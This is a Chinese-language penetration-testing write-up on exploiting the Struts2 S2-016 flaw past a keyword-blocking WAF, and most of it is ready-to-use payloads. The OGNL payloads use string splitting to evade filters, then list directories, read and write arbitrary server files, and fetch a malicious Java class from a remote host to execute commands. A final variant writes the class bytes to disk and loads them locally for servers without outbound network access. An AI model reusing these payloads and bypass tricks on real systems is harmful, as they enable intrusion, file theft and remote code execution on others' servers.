struts2绕过waf读写文件及另类方式执行命令

之前碰到过好几次Struts2，还都是016，项目、众测都遇到过，每次都只是证明了一下存在，由于waf的存在，没有深入去利用，这里简单的记录下。

0x01 背景

xray或者Struts2漏扫可以扫到网站存在Struts2漏洞

但是执行命令会发现直接Connection Reset，很明显是被waf拦截了

0x02 探究waf规则

一个一个删除关键字，发现拦截的关键字有三个：
Runtime、dispatcher

• Runtime很熟悉，执行命令一般都用这个，拦截了这个关键字，执行命令还是比较困难的
• dispatcher比较陌生，查了资料以后发现是读取Struts2的请求对象中的关键字
• getRealPath字面意思，获取真实路径

0x03 尝试突破

简单说一下思路，在绕过waf关键字的前提下进行读、写文件，如webshell落地；或者直接执行命令，如CS上线等。

• dispatcher绕过
  可以通过拼接进行绕过，部分代码如下:

#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest')

• 读、写文件绕过

0x001 获取web目录

首先要绕过getRealPath关键字,可以使用req.getClass().getResource("/").getPath()进行绕过

redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getClass().getResource("/").getPath()),#ot.flush(),#ot.close()}

0x002 查看目录的文件并列举出来

读取当前目录的第一个文件名，payload如下：

redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(new java.io.File(#req.getClass().getResource("/").getPath()).list()[1]),#ot.flush(),#ot.close()}

这里由于也没有进行深入研究ognl的迭代，所以直接在index累加了数字，如下：

redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(new java.io.File(#req.getClass().getResource("/").getPath()).list()[1]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/").getPath()).list()[2]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/").getPath()).list()[3]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/").getPath()).list()[4]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/").getPath()).list()[5]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/").getPath()).list()[6]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/").getPath()).list()[7]),#ot.flush(),#ot.close()}

穿越目录列举文件

redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(new java.io.File(#req.getClass().getResource("/../").getPath()).list()[1]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/../").getPath()).list()[2]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/../").getPath()).list()[3]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/../").getPath()).list()[4]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/../").getPath()).list()[5]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/../").getPath()).list()[6]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/../").getPath()).list()[7]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/../").getPath()).list()[6]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/../").getPath()).list()[8]),#ot.flush(),#ot.close()}

0x003 读取指定文件，危害升级——任意文件读取

redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#bb0=new java.io.BufferedReader(new java.io.FileReader("/usr/local/apache-tomcat-7.0.57/webapps/ROOT/WEB-INF/web.xml")),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.flush(),#ot.close()}

由于是按行读取文件，所以也是比较机械的使用了readLine函数

0x004 写入指定文件，危害升级——任意文件写入

创建文件

redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#bb0=new java.io.FileWriter("/usr/local/apache-tomcat-7.0.57/webapps/ROOT/WEB-INF/classes/message_ae.properties"),#ot.print(#bb0.getClass()),#ot.flush(),#ot.close()}

创建文件成功

后续又创建了一个message_aaa.properties文件,查看文件大小

redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#bb0=new java.io.File("/usr/local/apache-tomcat-7.0.57/webapps/ROOT/WEB-INF/classes/messages_aaa.properties"),#ot.print(#bb0.length()),#ot.flush(),#ot.close()}  

发现只是创建了文件，但是没有写入内容，所以文件大小为0，对文件内容的写入

redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#bb0=new java.io.BufferedWriter(new java.io.FileWriter("/usr/local/apache-tomcat-7.0.57/webapps/ROOT/WEB-INF/classes/messages_aaa.properties",true)),#bb0.append("aaaa"),#bb0.flush(),#bb0.close(),#ot.print(#bb0),#ot.flush(),#ot.close()}

写入了四个字节的内容aaaa

再次查看文件大小

大小更改，文件写入成功

• 执行命令绕过

0x001 思路打开

这里也是尝试了很久去绕过执行命令的关键字，发现都失败了，waf拦截的很死，而且也不能像dispatcher绕过一样拼接，几乎快放弃的时候，想到了加载恶意类去执行命令的这个方法
恶意类代码如下：

// Filename: hello.java
import java.lang.Runtime;
import java.lang.Process;

public class hello {
    public hello() {
        try {
            String[] commands = { "ping", "test.xxx.dns.1433.eu.org" };
            Process pc = Runtime.getRuntime().exec(commands);
        } catch (Exception e) {
        }
    }

    public static void main(String[] args) {
        hello aa = new hello();
    }
}

使用命令

$ javac hello.java

编译成class

0x002 初次尝试加载恶意类

redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#bb0=new java.net.URL[]{new java.net.URL("http://x.x.x.x:8000/")},#cc0=new java.net.URLClassLoader(#bb0),#cc0.loadClass("hello"),#cc0.newInstance(),#ot.print(#cc0.getClass()),#ot.flush(),#ot.close()}

转换成java代码如下：

URL[] a = new URL[]{new URL("http://x.x.x.x:8000/")};
URLClassLoader b = new java.net.URLClassLoader(a);
b.loadClass("hello").newInstance();

这里不知道为什么失败了，后面一步步调试，发现loadClass可以发起请求

但是实例化的时候出错了，后面也找不到什么解决方法，停滞了相当长的一段时间

0x003 成功加载恶意类

后续又遇到了一个Struts2 016，然后循着之前所思考的继续往下，更改了实例化的方法，最终成功了，具体成功payload如下：

redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#bb0=new java.net.URL[]{new java.net.URL("http://x.x.x.x:8000/")},#cc0=new java.net.URLClassLoader(#bb0),#cc1=#cc0.loadClass("hello"),#cc1.getDeclaredMethods()[0].invoke(#cc1.newInstance()),#ot.print(),#ot.flush(),#ot.close()}

URL[] a = new URL[]{new URL("http://x.x.x.x:8000/")};
URLClassLoader b = new java.net.URLClassLoader(a);
b.loadClass("hello3").getDeclaredMethods()[0].invoke(b.loadClass("hello3").newInstance());

使用getDeclaredMethods与invoke是可以成功加载恶意类执行命令的

0x004 不出网加载恶意类

后面又想了一会，如果在一个不出网的环境下，那怎么可以加载恶意类去执行命令呢，想到了之前的写入文件，先写入恶意类到本地，然后通过file协议去加载本地的恶意类，进而达到执行命令的目的

一开始想用base64编码class文件进行写入，但是这里不知道为什么Base64的类引入不了，java.util.Base64和sun.misc.BASE64Decoder都不行

这里打印了类名，但是无回显，说明payload内部环节有误

后面转变了一下思路，base64如果不行，那我如果用byte[]去写入文件，是不是也可以做到无损？
这里沿用之前写webshell的类，即new java.io.BufferedWriter(new java.io.FileWriter())

还是之前的hello.java文件(其实这里如果实际当中利用，推荐写入还是为hello.class，因为需要加载恶意类，需要同一名称，下文为了区分开，我取了其他名称)

读取hello.class的文件为byte[]

public static void main(String[] args) throws IOException {
    byte[] data = getBytesByFile("hello.class");
    
    String total = "";
    for (byte d:data) {
        total = total +  d + "，";
        }
    System.out.println(total);
}

//将文件转换成Byte数组
public static byte[] getBytesByFile(String pathStr) {
    File file = new File(pathStr);
    try {
        FileInputStream fis = new FileInputStream(file);
        ByteArrayOutputStream bos = new ByteArrayOutputStream(1000);
        byte[] b = new byte[1000];
        int n;
        while ((n = fis.read(b)) != -1) {
            bos.write(b, 0, n);
        }
        fis.close();
        byte[] data = bos.toByteArray();
        bos.close();
        return data;
    } catch (Exception e) {
        e.printStackTrace();
    }
    return null;
}

payload如下:

redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#bb0=new java.io.BufferedWriter(new java.io.FileWriter("/xxxxx/classes/hellotest.class",true)),#a=new byte[]{-54,-2,-70,-66,0,0,0,52,0,37,10,0,10,0,22,7,0,23,8,0,24,8,0,25,10,0,26,0,27,10,0,26,0,28,7,0,29,7,0,30,10,0,8,0,22,7,0,31,1,0,6,60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,100,101,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,13,83,116,97,99,107,77,97,112,84,97,98,108,101,7,0,30,7,0,29,1,0,4,109,97,105,110,1,0,22,40,91,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,86,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,10,104,101,108,108,111,46,106,97,118,97,12,0,11,0,12,1,0,16,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,1,0,4,112,105,110,103,1,0,29,116,101,115,116,46,51,57,100,57,48,56,101,102,46,100,110,115,46,49,52,51,51,46,101,117,46,111,114,103,7,0,32,12,0,33,0,34,12,0,35,0,36,1,0,19,106,97,118,97,47,108,97,110,103,47,69,120,99,101,112,116,105,111,110,1,0,5,104,101,108,108,111,1,0,16,106,97,118,97,47,108,97,110,103,47,79,98,106,101,99,116,1,0,17,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,1,0,10,103,101,116,82,117,110,116,105,109,101,1,0,21,40,41,76,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,59,1,0,4,101,120,101,99,1,0,40,40,91,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,59,0,33,0,8,0,10,0,0,0,0,0,2,0,1,0,11,0,12,0,1,0,13,0,0,0,106,0,4,0,3,0,0,0,32,42,-73,0,1,5,-67,0,2,89,3,18,3,83,89,4,18,4,83,76,-72,0,5,43,-74,0,6,77,-89,0,4,76,-79,0,1,0,4,0,27,0,30,0,7,0,2,0,14,0,0,0,26,0,6,0,0,0,5,0,4,0,8,0,19,0,9,0,27,0,12,0,30,0,11,0,31,0,13,0,15,0,0,0,16,0,2,-1,0,30,0,1,7,0,16,0,1,7,0,17,0,0,9,0,18,0,19,0,1,0,13,0,0,0,37,0,2,0,2,0,0,0,9,-69,0,8,89,-73,0,9,76,-79,0,0,0,1,0,14,0,0,0,10,0,2,0,0,0,16,0,8,0,17,0,1,0,20,0,0,0,2,0,21},#bb0.append(new java.lang.String(#a)),#bb0.flush(),#bb0.close(),#ot.print(#bb0),#ot.flush(),#ot.close()}

这里写入成功，但是发现两者有很明显的字节差距

而且反编译为空，识别不了

猜测是因为new java.lang.String的时候编码导致的这个问题，所以继续去找有没有直接写字节的方法

后面找到java.io.FileOutputStream这个方法，直接通过write可以写入字节，poc如下：

redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#bb0=new java.io.FileOutputStream("/xxxxx/classes/hello3.class"),#a=new byte[]{-54,-2,-70,-66,0,0,0,52,0,37,10,0,10,0,22,7,0,23,8,0,24,8,0,25,10,0,26,0,27,10,0,26,0,28,7,0,29,7,0,30,10,0,8,0,22,7,0,31,1,0,6,60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,100,101,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,13,83,116,97,99,107,77,97,112,84,97,98,108,101,7,0,30,7,0,29,1,0,4,109,97,105,110,1,0,22,40,91,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,86,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,10,104,101,108,108,111,46,106,97,118,97,12,0,11,0,12,1,0,16,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,1,0,4,112,105,110,103,1,0,29,116,101,115,116,46,51,57,100,57,48,56,101,102,46,100,110,115,46,49,52,51,51,46,101,117,46,111,114,103,7,0,32,12,0,33,0,34,12,0,35,0,36,1,0,19,106,97,118,97,47,108,97,110,103,47,69,120,99,101,112,116,105,111,110,1,0,5,104,101,108,108,111,1,0,16,106,97,118,97,47,108,97,110,103,47,79,98,106,101,99,116,1,0,17,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,1,0,10,103,101,116,82,117,110,116,105,109,101,1,0,21,40,41,76,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,59,1,0,4,101,120,101,99,1,0,40,40,91,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,59,0,33,0,8,0,10,0,0,0,0,0,2,0,1,0,11,0,12,0,1,0,13,0,0,0,106,0,4,0,3,0,0,0,32,42,-73,0,1,5,-67,0,2,89,3,18,3,83,89,4,18,4,83,76,-72,0,5,43,-74,0,6,77,-89,0,4,76,-79,0,1,0,4,0,27,0,30,0,7,0,2,0,14,0,0,0,26,0,6,0,0,0,5,0,4,0,8,0,19,0,9,0,27,0,12,0,30,0,11,0,31,0,13,0,15,0,0,0,16,0,2,-1,0,30,0,1,7,0,16,0,1,7,0,17,0,0,9,0,18,0,19,0,1,0,13,0,0,0,37,0,2,0,2,0,0,0,9,-69,0,8,89,-73,0,9,76,-79,0,0,0,1,0,14,0,0,0,10,0,2,0,0,0,16,0,8,0,17,0,1,0,20,0,0,0,2,0,21},#bb0.write(#a),#bb0.flush(),#bb0.close(),#ot.print(#bb0),#ot.flush(),#ot.close()}

得到的结果如下：

反编译也成功

那么进行本地的file协议加载class类

redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#bb0=new java.net.URL[]{new java.net.URL("file:/xxxxx/WEB-INF/classes/")},#cc0=new java.net.URLClassLoader(#bb0),#cc1=#cc0.loadClass("hello3"),#cc1.getDeclaredMethods()[0].invoke(#cc1.newInstance()),#ot.print(),#ot.flush(),#ot.close()}

dns平台接收到请求，利用成功

0x04 总结

1. 碰到waf不能直接放弃，在能力范围内进行不断尝试与绕过，也许就可以进行绕过。
2. 尽可能对payload代码进行研究，而不是只依赖于工具，尽量不要工具成功我就成功，工具失败我就失败这种观点。

参考链接：

https://github.com/vulhub/vulhub/tree/master/struts2/s2-016 【struts2 016环境】